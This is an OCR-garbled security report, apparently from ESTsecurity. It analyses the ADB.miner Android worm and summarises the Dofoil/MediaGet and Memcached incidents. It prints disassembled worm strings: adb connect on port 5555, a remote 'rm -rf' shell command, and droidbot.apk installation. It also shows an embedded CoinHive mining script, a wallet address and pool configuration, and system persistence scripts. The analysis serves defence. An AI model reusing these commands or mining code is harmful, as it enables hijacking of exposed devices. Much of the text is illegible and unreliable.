HOUT R6, #OxFFFF
LDRB R3, [R4]
STRH R1, [R4,#2]
AbDD R18, PC, H1HJ; od J%d J%d Jd™ |
BFI R3, R9, #0,
STR R12, [SP,#targ 34]
BFI R3, R2, #4, #4
STRB R3, [R4]
ADD R12, R12, R2
STR R18, [SP,#targ 5C]
STR R12, [SP,#targ 58]
HOU R18, #o=zFa16
HOU R12, #o=Fa12
HOUT R18, #0=FFFF
HOUT R12, #0=FFFF
STR R18, [SP,#targ 38]
STR R12, [SP,#arg 3C]
ADD R168, SP, #arg 98
ADD R12, SP, #arg 118
STR R18, [SP,#targ 1C]
STR rﬂ?f!:‘f!?1ﬂarg_23]
BL sub BFSh4
-
Time Source Destination Protocal Leng Info

[72! 7] FXI2| SYN AZH

6)ADB &
“adb connect” £ S3lM 8 71710f] HZO| =IRACHH “get-state™E So10H SHE 717(2] adb HEHEHE SiISHTH.

ESTsecurity Copyright © 2018 ESTsecurity Corp. All rights reserved.
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A= 71719] “/data/local/tmp” 2| 2= LY

ESTsecurity

LDR
ADD
Hou
ADD
abD
LDHMIA
STR
ADD
STR
HOU
BL
MOU
BLX
LDR
ADD
ADD
HOU
LDHMIA

sub_9CFC
STHFD
Hou
MU
MU
BLX
MU
BLX
LDR
ADD
ADD
HOU
ADD
LDMIA
5TR
ADD
3TR
Hou
5TR
BL
MU
BLX
MU
BLX
MU
BLX
HOU
LDHFD

g== MAleitt 0] 26= 24y

SPY, {R4-R6 LR}

k1, #1

RS, R@

RB, Hbxbh

sub_12uD8

R4, RO

sub_E&SEC

R3, ={afdbConnect - Bx9D24)
R2, PC, RZ ; "adb connect *
LR, R4, RO

R12, RO

Ré6, RO, #6:C
R3*, {RO-R2} ;
RA, [R4,R12]
R@, RA, Rb

K1, [LR,#4]

R1, RS

R2, [LR,%8]
sub_ChF8

RA, RA&

sub_ 11844

Ra, 1

sub_ESBB

RA, R4
sub_124DC

Ra, #o

5P, {R4-R6,PC}

“adb connect *

R3,
R3,
RZ,
R12,
LR,

={aadbs -
FPC, R3
RO

R4, RO
RB, #7
R3*, {RB,R1} :
RB, [R4,RZ]
RB, R4, LR

R1, [R12,8#4]
R1, Rd
sub_CL4uFs

RB, R4

sub ELEC

R12, ={atLLLGetitate - Bx9DEA)
R12, PC, R12 ; ":5555 get-state™
LR, R4, RSB

R6, RB
R12t,

8x9DAC)
*adb -s *

“adh -5 ™

{RB-R3} -
[I2! 8] ADB S 01

" :5555 get-state*

Ok

ol

ARIZE o117

F

r

7= SHO|CY,
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Ofm

5101 Cig 25

LDR
HOU
LDR
ADD
LDR
ADD
LDR
HOU
ADD
BL

LDR
HOU
ADD

R2*, {RB,R1} ; "adh -5 ~
R2, LR, #7

R8, [R4,LR]

R8, R4, R2

R1, [R3,#4]

R1, RB

sub_CA4F8

R8, R4

csub_EASC

R12, R8

LR, R4, R12

R6t, {RB-R3} ; ":5555 shell W'rm -rf @
R11, R12, #8x14

R8, [R4,R12]

RB, [Ro6]

R1, [LR,#4]

R1, RY

R2, [LR,H#8]

R8, [LR,#6x18]

R8, R4, R11

R3, [LR,H#6xC]

sub_CALFS8

R8, R4

sub_EASC

R2, ={asc_2AACC - B=AG6GBY4)
R?. PIL. RZ - ‘"fasfg'"”

[0 9] SE 2| LIg A

0| 2Rt sss, nohup, bot.dat MASS HSSICL

R5, ={aDatalocalTmp - 8z9138)

RB, R4

Ré, =(aDatalocalTmpSs - Bx9148)
R&, PC, RS ; “/fdata/local/tmp/*
R7, =(aDatalocalTmp_2 - 8x914C)
Ré, PC, R6 ; "/data/local/tmp/sss™
Rg, =(aDatalocalTmp_3 - Bx915C)

R1, RS

R7, PC, R7Y ; "“/fdata/local/tmp/nohup”
sub_ASFY

R1, ={aDatalocalTmpDr - Bz9168)

RB, R4

Rg, PC, RE ; “/data/local/tmp/bot.dat"”
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x
I
AI

7)ELF @HZ 001

CPUSHE

Jot

loc_89D8

LDR
ADD
BL

LDR
MU
ADD
BL

CHP
MU
BHE
BLX
LDR
ADD
MU

ADD
ADD
Moy
ADD
LDMIA
STR
ADD
STR
Mou
BL
Mou
BLX
LDR
ADD
ADD
Mou
ADD
LDMIA

P1510{ 32/64 0 St= M

= e ——

R3, PC, R3

R2, R4, RA
R12, R@
LR, RB, #7

R3*, {R8,R1}
R

8, [R4,R12]

R8, R4, LR

1, [R2,14]

R1, RY
cub_Cu4F8
R8, R4
sub_EASC

R3, ={a5555Push - B=9F5C)

R3, PC, R3 : *
LR, R4, RO
R12, RO

R7, RO, #OxB

; "adb

R3*, {RB-R2} :

; "Madb -5 '

L5555 push

[(210] LIS 25S 2RI T8

———

-5

5555 push

R@, =(aRo_product cpu - 8x8918)

RA, PC, RA ; “ro_product._cpu.abi

loc_8DEA
=(aArmo4lUBa - Bx892@)

RAa,
R1,

Ra, PC,

Réb

sub_C2?BS8

ta
R4

loc_89D8
sub_EA4SC
R12, ={aDatalLocalTmpim - @x893C)

PC, R12 ; "sdata/local/tmp/xmrig6h”

R12,
Ré,

RA ; “armHii-vEa”

; CODE XREF: .text:888889281]

sub_EASC

R12, =(abatalocalTmp_8 - Bx89ES8)

R12, PC, R12
R6, RB
loc_893C

/data/local/tmp/xmrig32”

ESTsecurity
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D29} RIS XMRig QEAAS HRBIC)

) GitHub - xmrig/xmrig: I X

< C | & GitHub, Inc. [US] | https://github.com/xmrig/xmrig

XMRig

XMRig is a high performance Monero (XMR) CPU miner, with official support for Windows. Origil
multi with heavy optimizations/rewrites and removing a lot of legacy code, since version 1.0.0 ¢o
scratch on C++.

This is the CPU-mining version, there is also a NVIDIA GPU version and AMD GPU wversion.

* Roadmap for next releases.

* VERSIONS:

[0 12] 2HE @FAA

T

| 1} 2HEHE GHE0| 7|ZE|HRUCE Hashvault.pro HIERS 010 E= 0[ZgHCt.

“configjson” 0| O1O|

0

config.json
g g e e ey Sarr e fa e

“threads": 3, // number of miner threads

5555", /f URL of mining ser

TAKy

x", /f pas
// send keepalived for prevent timeout {need pool support]

se // enable nicehash/xmrig-proxy support

ESTsecurity



U Monero Hash Vault - 11 X

€ [<BE}

'monero hashvault. pro,

M Monero Hash Vault:

A vome

44XT4KvmobTOfeW at

A/ DASHBOARD

= biocks

B pament

5" pomTs

ETTING 5

oliid Oi0Id == & 00[50] O]F0]

STARTED

LWma3AsaE 305INRTIDBYKZVPHTVedTQHZ)XNMNSYYF2466d3FSDTTgIS8gdHAr
Hash Rate Total Hashes Total Due
252 KH/s 3,116,831,381 0.061745724987 XMR
1Hour Avg. Hash Rate 24 Hour Est. XMR 24 Hour Est. BTC 24 Hour Est. USD
2.46 KH/s 0.008719313028 0.00028086 279

Total Paid

0307692166656 XMR

24 Hour Est, EUR

2.26

24 Hour Est. RUB

159

Hash Rate

252 KHfs

< OF A
e g 5 Ut

1 Hour Avg. Hash Rate 3 Hour Avg. Hash Rate & Hour Avg. Hash Rate

245KH/E 2.48 kM5 241 KH/s

[ 13] hashvault 001 2

24 Hour Avg. Hash Rate

238 KH/s

Total Hashes

4,216,053,621

Last Hash

2 minutes ago

Protocol Leng Info

74 Standard query @x1fb7 A www.google.com
9@ Standard query response Bx1fb7 A www.google.com A 216.58.221.188
85 Standard query Bxbe23 A pool.monero.hashvault.pro

DMNS
DNS
Dns
DNS

ESTsecurity

Source Destination Protocol Leng Info

18.8.2.15 139.99.9.133 TCP 54 36842 - 5
139.99.9.133 10.0.2.15 TCP 364 5555 + 36
10.9.2.15 139.99.9.133 TCP 54 36842 + 5

bytes on wire (2912 bits), 364 bytes captured (2912 bits)

8
ol Version 4, Src:

139.99.9.133, Dst: 10.8.2.15

RealtekU 12:35:82 (52:54:00:12:35:82), Dst: RealtekU 12::

B L L B B B e R L I I B TR ST R VY

56 52 54 @@ 12 35 02 93 @0 45 00
00 48 @6 d8 8b 8b 63 B9 85 Ba @0
ea @7 @a bf eb 1a fd 8b db 50 18
82 7b 22 6a 73 6f 6e 72 70 63 22
22 2c 22 oed 65 74 68 of B4 22 3a
2c 22780 61 72 61 6d 73 22 3a 7b
22 3a 22 3@ 36 308 36 39 31 66 61

RT..AVRT .
@,

" jsonrpc’
" method":
arams™: {
' B6BES1fa

35 33 31 34 3@ 308 32 63 39 35 39 82d56531 48082c959
36 38 64 61 37 63 37 65 63 31 62 8fbe9e8d a7c7eclb
31 31 62 38 66 32 36 39 62 39 31 afb2f1lb 8f269b91
66 39 32 64 37 38 31 62 31 38 63 8552292 d7@1bl8c
65 3@ 3@ 30 30 30 30 30 30 64 33 76f85e00 000000d3
39 61 35 66 64 38 32 61 66 34 62 feb3d9a5 fd82afdb
63 65 35 31 38 37 39 66 62 63 62 e28bBce5 1879fbch
64 39 64 65 38 39 38 39 32 62 61 £4588d9d e89892ba
32 36 33 66 31 33 3@ 66 65 30 62 c25b2263 f138fedb
62 5f 69 64 22 3a 22 56 56 77 6c ","job_i d":"Wwl
32 59 51 5a 6d 77 &6f 38 36 76 42 obsI/2YQ ZmwoB6vB
50 47 7a 22 2c 22 74 61 72 67 BS nqvziPGz ","targe
33 32 31 3@ 32 30 3@ 22 2c 22 69 ":"4321 @2e@","i
35 63 31 63 38 32 36 2d 38 66 37 d":"25c1 c826-8f7
39 2d 62 62 33 63 2d 63 34 35 65 c-4e19-b b3c-cd5e

37 36 34 22 7d 7d @a 2aadd764 "}}.

181 Standard query response @xbe23 A pool.monero.hashvault.pro A 139.99.9.133



12
0x
I
AI
1%
LE

SLEEL-OFF_UPZHRTO
DATA XREF: sub_BE@A8+48To
.text:off_Co34To
DATA XREF: sub_BEB8+18ETo
.text:off_C0O3CTo
DATA XREF: sub_BEB8+162To
; -text:off_cossio
DCB "[%s5:%u] duplicate job received, reconnect",®
; DATA XREF: sub_BE@8+1D2%0
.text:off_CE50870

DCB “job_id",0
DCE “blob™,0

DCB “target™,d

DCB "id",B ; DATA XREF: .text:@@OOCASATO
; -text:off C1787T0 ...
DCB "job™,B ; DATA XREF: .text:@@BBC11ETO

.text:off_C180810 ...

DCB "[%s5:%u] getaddrinfo error: ",8x22,"%s" 0x22,0

; DATA XREF: sub_B9F@+78710
.text:off_BA7Cio
DATA XREF: sub_C5DB+CAto
.text:off_C95810
DATA XREF: sub_C5DB+D8To
.text:off_c95CTo
DATA XREF: sub_C5DB+Fafo

DCB "jsonrpc™,B H
; .text:off_C96810 ...

DCB "2.06",0
DCB “method”,B
DCB “login™,B DATA XREF: sub_C5DA+188T0
sub_C508+15270 ...

DATA XREF: sub_C5D@+19ETo
.text:off_C974To

DATA XREF: sub_C5D@+1EBTo

.text:off _C9787T0
DATA XREF: sub_C5D@+216T0

PR T ¥ . Y.L T

DCB “pass™,8
DCB "agent™,8

DCB “params™,8

[=14] 0018 2| HERE St

I THZ 01014 E2! minexmr.com 7t 7 [EEI0{ AX[2 OHO[S2 =[X| =L,

", ff URL of mir
A4 i Ofe COFSRDx

: """, /f password for mining server

(=]

. [/ send keepalived for prevent timeout (need pool support)
// enable nicehash/xmrig-proxy support

ESTsecurity



(@ mineXMR com - Mone,

x

C | @ 2HHE | hitps//minexmr.com

mineXMR.com | #Home o CetStarted @ Dashboard & PoolStats - ®Support % XMR Network ~

Q) APK RH= Djofd

“3Qlsiol=” Djo|

ESTsecurity

Syl
o= T

ADD

Estimate Mining Profits
our Hash Rate KH/s~ | = XMRy/day

MNote that this is only an estimate, you may receive more or less than stated

Your Stats & Payment History
Look at worker stats for hash rates and worker stats

44XT4KvmobTQfeWabPCQFSRDOSIZMLWMA3AsaE305INRXXTfDbYK2VPHTVed TQHZ Y XNZMn8YYF246643FSDT T

Q, Lookup

@ Address: 44XT4KvmobTQfeWabPCQFSRDosr2MLWM43AsaE305INRXXTDbYk2VPHTVedTQHZyfXNZMn8YYF2466d3FSDTTaJS8adHAr
M Pending Balance: 0107078564497 XMR

I Personal Threshold (Editable): < 0.500 XMR

Once you reach your threshold, you will get a free auto-payout within 24 hours

M Manual Payments Disabled for your account

(& Total Paid: 0.000000000000 XMR

! The following stats are only for the base address and not all workers:
@ Last Share Submitted: less than a minute ago

@& Hash Rate: 825.00 H/sec

& Total Hashes Submitted: 2321638945

Sent Payments

© Time Sent & Transaction Hash (& Amount & Mixin @ Fee

[1& 15] MSopi=0pId &

of APK & EXlotil TH7 [X|E= OIZol0] sliy WS ettt

L L | L UETTLLE TOIITT S

ADD R3, PC, R3 ; "adb -5 *

ADD R12, R4, RB

HOU R2, R@

ADD LR, RB, #7

LDMIA R3t, {RO,R1} ; "adb -5 *

STR RO, [R4,R2]

ADD RO, R4, LR

STR R1, [R12,#4]

HOU R1, R6

BL sub_CA4F8

HOU RO, R4

BLX sub_EA45C

LDR R3, =(a5555Install - BxA4DO)
ADD R3, PC, R3 ; ":5555 install
ADD R12, R4, RO

HOU LR, R®

ADD R6, RB, #0xE

LDMIA R3t, {RO-R2} ; ":5555 install "

R1, PC, R1 ; “fdataflocal/tmp/droidbot.apk"

—_———L ALLT




ofdIC EM HY
Ll L L ] L UETTLLE bl L e b
ADD R3, PC, R3 ; “adb -5
ADD R12, R4, RO
MDY R2, R
ADD LR, RO, #7
LDHIA R3t, {RB,R1} ; “adb -5
STR RO, [R4,R2]
ADD RO, R4, LR
STR R1, [R12,#4]
HOU R1, RS
BL sub_CAF8
HOU RO, R4
BLX sub_EA5C
LDR R12, =(a55555hellAnSta - BxAS7C)
ADD R12, PG, R12 ; ":5555 shell W'am start -n "
ADD LR, R4, RO
HOU RG, R
ADD R7, RO, #0x19
LDHIA R12¢, {RB-R3} ; ":5555 shell W'am start -n "

LDR
HOU
ADD
BL

(¥ Ta1l]

APK 7t XtS2=
E42Ct 0= "2

ESTsecurity

R1, =(aCom_android_go - 8x9178)
RB, RY
R1, PC, R1aCom_android_go DCB "cum.andruid.guud.miner!cum.example"|

sub_A5ic DCB “.test.HMainActivity",B

nn nr i

[(12116] APK AdR| 3! ARl T

A| H A HIRk2 OFF A LIEILEA| @=L, Assets EEM| MU= runhtml 2
3}0IE 9| iz 00|d ZETH7IEE|0] QO “UEZ0|=0| RHIAIEE"S SZFICH,

4w 11:22
-
Wl Test

—_



@suppresslint{value={"SetJavascriptEnabled"}) public class Mainfctivity extends Activity {
WebSettings settings;
WebView webView;

public MainActivity() {
superi);

i

protected void onCreate(Bundle arg3) {
super.onCreate(arg3);
this.setContentView(2130963048) ;
this.weblView = this.findViewById(2131238728);
this.settings = this.webView.getSettings();
this.settings.setlavaScriptEnabled(true);
this.settings.setDomStorageEnabled(truel;

this.webView.loadUrl({"file://fandroid_asset/run.html™);
T
w [ Assefs
[2] run.html
| run.html

| runhtml - R

omE BHEE MAO BNV ESTH)
<script sro="https://coinhive.con/lib/coinhive min. js"></scripts

Lscript=
var miner = new CoinHive. &nonvmous? eXnyydCwiGYBOCAT GuiRiDZi DpDasSrf ', 4
threads:4,

" throttle: 0.6

miner,start{);
fscripts

[F2!17] “Zlsp =’ 2 njold F=

“HQISI0|E" 2t SLISHH 4K O10]Z0] O|FOZICE

Destination Protocol Leng Info

192.168.63.1 DNS 78 Standard query 0x1138 A ws@20.coinhive

EEE:EEE:EE:EE] DNS 234 Standard query response 9x1138 A wsﬁzﬁlcoinhive.con A 3?.18?.16?.4'
Destination Protocol  Length  Info
37.187.167.47 TCP 66 49384 - 443 [ACK] &
37.187.167.47 TLSv1.2 213 Application Data
192.168.63.26 TLSv1.2 147 Application Data
192.168.63.26 TLSv1.2 333 Application Data

[0 18] “FRIsP =" ool

ESTsecurity



opgFE

HI

M EHT1

9) WATRE

“Install-recovery.sh” 2A3EEN|= droidbot It droidbot.apk 2| IH7 IX[EEE ZA[GIH =X FFE

[ 19]install-recovery.sh

“invoke.sh’= 2IEZ0|= 717|2] H0{2t H2E F

ZAAS BE5I0 8 ATHES MEGIACE ST ATRES
=2 BOISS 20IRESHD system BHO| SH T

=9 10
=] =X}
o-l, El_!-l_' o=

_|

!

[
—

rH

=222 O

d

2Rt Hot= MUSZ HARIC Eot 119t 2
/1= HEol0] HHOE 018¢! 7I7IM0E et o Al ZHEC

) GT_refactored_4x%/up: X
&« C | @ GitHub, Inc. [US]]| https://github.com/Senthil360/GT_refactored

Q Features Business Explore Marketplace Pricing

This repository ~ Search

| Senthil360 / GT_refactored_4.X.X

@ Watch | 5 o st 6 | ¥Fork

<> Code Issues 0 equests 0 Projects 0 nsights

Branch: master v GT_refactored_4.X.X / GovTuner / META-INF / com / google / android / update-binary Findfile = Copy|
[ senthil360 An update to on-boot execution 29496dd on 30 Aug 2
1 contributor
365 1 3 sloc)  8.98 K8 R. Bl

me | History [J

ESTsecurity



mount rw, remount /data

mournt rw, remount /system
mount rw,remount /data /data
mount rw, remount

mount rw, remount

lepla some files"
($ALREADY)

-f /system/etc/install-recovery.sh ]

/system/bin/install-recovery.sh

perm ® @ @755 $CUR_PATH/install-recovery.sh /system/bin/install-recovery.sh

-f /system/bin/ddexe_real ]

file_attr /system/bin/ddexe

system/bin/ddexe

perm @ 2000 8755 $CUR_PATH/ddexe /system/bin/ddexe

-f /system/bin/debuggerd real ]
rm_file_ attr /[system, J/debuggerd
rm /system/bin/debuggerd
cp_perm @ 2888 8755 $CUR_PATH/debuggerd /system/bin/debuggerd

ch_con() {
LD_LIBRARY_PATH=$SYSTEMLIB /system/bin/toybox chcon -h u:object_r:system_file:s@ $1
LD_LIBRARY_PATH=$SYSTEMLIB /system/bin/toolbox chcon -h u:object_r:system file:s@ §
chcon -h u:object_r:system file:s8 $1 /dev/null Jdev/null
LD_LIBRARY_PATH=$SYSTEMLIB /system/bin/toybox chcon u:object_r:system_file:s@ $1
LD_LIBRARY_PATH=$SYSTEMLIB /system/bin/toolbox chcon u:object r:system file:s@ $1
chcon u:objec rsystem_file:s@ $1 fdev/null fdev/null

T

set_perm() {
own $1.%

chown $1:%
mod $3 %

ch _con $4

con_ext $4 $5

2 %4
2 %4

4 1:/de

cp_perm() {
rm $5 i
[ -£7%
cat $4 > $5
set_perm $1 $2 $3 $5 96
3
rm_file
/dev/null /dev/null

[J2! 20]invoke.sh

ESTsecurity
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3. 8=

O] ADB.miner 2| B2 O|210] T=5 &5l QUXIZF O0|C|2t HIZHSO| ARHA| THRI0] OFl ADB QIE{L0|AS

0 0fl 7F217| THE0| St AKAH= ZIGIE|CatE QOFXf2I7| OfILt
ol 77X SHORICE Et

£12510 9 SEN2 XD QICH
7HXIL HH|0|E &

AZIMoZ FH |OT 77129 EQtof| of
2 =4 |OT 717101] CHSHH

— T -

MR, ARRKISS
AOIEE ASAL GA| HiAS it 2lbO= RX[SIL 37 |X01 HAIS SHOFSICY,

St OJAl

— =

o

——
Inl o

Za O s

1 QUL

SAXH 2eF M OlAl= ADB.miner 2| ¥ HZZ "Trojan.Android.CryptoMiner” EXX|[HOZ XTS5
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1. S0IA

CE=2| Memcached DDoS 3ZXIS, SHAHLIZ DH|ZE Q715H
Some Memcached DDoS Attackers Are Asking for a Ransom Demand in Monero

Akamai = 4 r’51 | 3412= C}E Memcached MHEE &
HIO|EIS et UDP IZISE ERlE SZoh= Y, ot 54 1E=2 012

== ILI3H7(I501I71I 50 Monero($1.7 T2, 2F 1800 TS X252t QT5ICt
Z10|2k= HNKl= 25t E|0QUX] SiTt.

Lo
W)
s
wn
Okl
JE
mjo
mII
g

gl__l
ful
kl

T
s3]
Ol
o
$0
ful

m

I

OII
rOII

2015'H M82= 24 E RDoS &4

Ol2fet 4220154 i19°£ LA EACH, Z7|0fl= 0l H=ks TS0 DDABTC Z1E0iA] et DDoS-
for-Bitcoin 2t XL 0] 252 Tfet 2MS0H| O|HS 2L, #d HUS XIS5HA| 22H DDoS S4S ol
2iefol] ACE

—|-

RDoS(Ransom DDoS)Z UEiZI 0|52 HZk2 HE|Xt T2 AfO|0flA] THLE Q17[7} S0FK| 1 QIOM, X
H2 RDoS 3240] QL) CHER2| A SAXIS2 LfshAt i Q715 FAGHHZIE DDoS 342 2stet —1‘—
Ql= 20| QUL SEK|ZE Memcached 7 |EtR] DDoS 22 &4HI2 CI2C,

=33

0[2{5t ZZ20f| U8 E == U= 2IGIX| U2 Memcached AfH7t H0| 7| HE0], SHXISS SNE Ci2AIZ
2tet DDoS THES 7FE o= QA 2. [MetA TsHAIS2 0] g={0[ AXI0] OfL|ek= s E4l RU| =0, Of
HEHUS X2e 7I580| = &0 SHAI2E S-S0 M=H Monero 2 HEHUE X[Z0HE T OFFE
=20 EIX| §h=Ct SZALE0] 042] 7HS| DDoS 520l S8 Monero FAE ARESEL 7| IHZ0|Ct,

MM SAXE2 32| SAtdE & HUIM =2 XSHEAl & + 8V X SAXNE2 82 545 7ol
1l

Z|Chet M2 ERlE SHolL OlFL =5 WIS HEFE ZOZ Holrt,

[ A=2 O

[EX https:/ v bleepingcomputer.com/news/security/some-memcached-ddos-attackers-are—asking-for-a—ransom-demand-in-monero/
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E=Z20|50p} 28t E BitTorrent 2ZERII0] RT[O|E, PC 40 2HCH 510124 3f
Trojanized BitTorrent Software Update Hijacked 400,000 PCs Last Week

K|t 3= Ot 2RO BHEE A= Qlol 2f 50 RITHE| HREIS0| T H AR QHof| 7hd=iH| O010[s 2001 24
E|ICE Of= 217|RX4= BitTorrent S20|HEQ! MediaGet 2| BHE=0{7} 228} E HT MEO0|AUH A= SioiRiCt,

Dofoil(Smoke Loader 2t11= 224Z)0[2t HH = 0] HY0= Y = = ATE| TisHXIR] CPU ARIES
0|2o SZXIe| YHEZL|Z CX[EH TS X=ok= 7SI 00| T2 TS HI0|2E2ZM ESSH= 2R
LIEFGTY, (Dofoil Off CHSE XEMISH LHES 3.9 HA{0]| I8t E|0{QUCH)

X't 2= Windows Defender 7#=0] 0] 320l Lt 2 1ME SIHHS M= 12 ARZE TH0H| 0243 T AfEHI}
20{t 01701l ChollM= 2t=oHA| UL, SFX[2E ZAPL 2im E =€, T0[HZ24ATE= 24X MediaGet
BitTorrent AZEQ|0{2| YC0|E HIHUSS S5l EZ0IS017} Zet & D=1 B (mediagetexe)S
AEXZL| HAREO| push At H2AC

“MH =l mediaget.exe = update.exe T2 THS CIRE =0} Ao MZ2 mediaget.exe IS MRS}
MZ2 mediaget.exe Z2TH2 QX2 HH 7|52 SUSHK|TE HHE0] 7[50] &t E|0f QUCE”

HHHS2 update.exe E A{Het MediaGet 2 AME210| &2 54 (supply chainattack)= gt A Z2Cf1 F=610
ULE O[= 2017 H 9 & AEXL 230 DI OfAS B0 MO = 2 A1 (Cleaner 3 A4t RAFSHCL
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Update Server

Malware distribution Malware distribution
Server 1 Server 2

[¢— Downloads my.dat

Downloads

RUN command with URL

mediaget.exe

mediaget.exe

Signed: GLOBAL MICROTRADING PTE. LTD.
1038d32974969alcc7a79c3fc/b7a5ab8d 14id3e)

Drops and runs

my.dat (Trojan
Drops and runs : Downloader)

Process hollowing

update.exe

Signed: DEVELTEC SERVICES SA DE CV - Downloads Dofoil Trojan
513a1624b47adbcal5f2§32457153482beddabal

Drops and rung
Process hollowing

Drops and runs

Drops and runs

mediaget.exe

Unsigned

3e0ccd9fala5c40c2abb40ed6730556e3d36af 3¢

0|0[X| &4t hitps://doudblogs.microsoft.com/microsoftsecure/2018/03/13/poisoned-peer-to—peer-app—kicked-off-dofoil-coin-miner-

outbreak/

5t SRS UH =l update.exe E I T QISMZ MEZHON, HA! MediaGet 0| 2715H= HS IS

MIxoz EIRICL “EE E update.exe = EZ0[=07} E&t 2l mediaget.exe, update.exe 7} LIE &l
InnoSetup SFX TH7 |X|C, Ael =M EZ0|=0HE ettt ME E|X| 42 HTC| mediagetexe € E&SICL”

SHI0|E E[H, 0] 2MM BitTorrent AZER|0= 24 & Namecoin WIESA QT2 SAE El=CRCAMH 42X F
1 320 HEOZE HZGH MELS HHS 7|CiICt J2|10 CRC MHZEEE CoinMiner ZEHES SA| CIRZ =511
O[cHXIe| AFEIE 02l SZXIL| 7HS3MHIE =0l | ARt SHXE= CRC AMHE 0[ZsH 2 = A|ARIO]

F712 HE CIREE I MX[E = QUL

ESTsecurity Copyright © 2018 ESTsecurity Corp. All rights reserved. 47


https://cloudblogs.microsoft.com/microsoftsecure/2018/03/13/poisoned-peer-to-peer-app-kicked-off-dofoil-coin-miner-outbreak/
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/13/poisoned-peer-to-peer-app-kicked-off-dofoil-coin-miner-outbreak/
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Indicators of compromise (I0Cs)

Filename | SHA- Desaiption | Signer Signing Detection name
date
mediagete | 1038d32974969a1cc7a79c3fc7b7a5ab8d | Offical GLOBAL 2:04PM | PUAWIn32/MediaGet
xe 14fd3e mediagete | MICROTRADI | 10/27/20
xe NGPIE.LTD. | 17
executable
mediagete | 4f31a397a0f2d8ba25fdfd76e0dfc6aOb30d | Offical GLOBAL 424PM | PUAWIN32/MediaGet
xe abd5 mediagete | MICROTRADI | 10/18/20
xe NGPTE.LTD. | 17
executable
updateexe | 513a1624b47a4bcal52f32457153482be | Trojanized | DEVELTEC - Trojan:Win32/ModimerA
dda640 updater SERVICES SA
executable | DECV
mediagete | 3eOccd9falasc40c2abb40ed6730556e3d3 | Trojanized | Notsigned - Trojan:Win32/ModimerA
xe 6af3c, mediaget.e
fda5e9b9ce2862475054516d0adf5a799%6 | xe
29ba8 executable
my.dat d84d6ec10694f76c56f6b7367ab56ealf74 | Dropped - - TrojanDownloader:Win32/Dof
3d284 malicious oilLAB
executable
wuaucltex | 88eba5d205d85¢39ced484a3aa7241302f | Dropped - - Trojan:Win32/CoinMiner.D
e d815e3 CoinMiner

[EX] https://thehackemews.com/2018/03/windows-malware-hacking html

https://doudblogs.microsoft.com/microsoftsecure/2018/03/13/ poisoned-peer-to—peer-app—kicked-off-dofoil-coin-miner-outbreak/

ESTsecurity



https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=PUA%3aWin32%2fMediaGet
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=PUA%3aWin32%2fMediaGet
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Win32/Dofoil.AB
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanDownloader:Win32/Dofoil.AB
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/CoinMiner.D
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Ol

HoIAS, ‘x| HO[E| AZHS0H| 2MIoS; ClIOIE f=2 F2lok

Facebook caught up in political data scandal; denies data breach

2016 I THSE 4747t okt Tl 2 i H|0|A=0| Oj=2| tSEQ! 2= ETTeL 13 F FX[H 24 7[Rl
Cambridge Analytica Of| AI2A} H|O|BE SR3MCH= Tie0l| M2, 0= /Ee SfHS0| HO|AS HEs
QTHCL O] HI0[HE 0|33l AFZAES E2iU s EEIYL CHEE MM 012 &= U= E3CH= Z0|Ct,
AKX} HI0[E= University of Cambridge A12/8F ZEAI1 Dr.Aleksandr Kogan O] K[ZISt ‘thisisyourdailylife” 2H=
OIZ2|AHI01MS Soll ~E=IUCE

Kogan 2 Global Science Research(GSR)0[2k= OISS AFEsH AFESXISOIA| L0t =2 21 sk= ¢ XIE2
AME k= HR0] ROshEE QF3UCE 270,000 H 042 AFEXIS0] 0] HR0f| HO5I¥CLE Kogan 2 I2HS

HIS/Z AEoIK| 242 5 M2t F 02| ALZX HIO|EHE ERUCt,

HO|AS0| =M, O] L|O[E AHS2 RE2| Zu7f OfL|Ct

HO|AS2 “HI0[E7t RF &L= T2 AT GIRAFAIO|CE Aleksandr Kogan 2 Z12| 401 71ist AFBAIES]
=0 Cfet FZS 2FMCH, Fojet = AZ0| SRt AIBXIE2 A=XO= =9 HHE MEIHCH,
OfIE{Sh A|ARIE FIQESHK| §IUCH THARIE S Qo HHE Tt FoEALE o FOIK| U™ 20 BRiCt
Xt 2 HOAS2 AFEXAISS] ZAE2Q1S B K| 2015 A 0] HES LA ZIQUCHL QPYEHCE 01F sig
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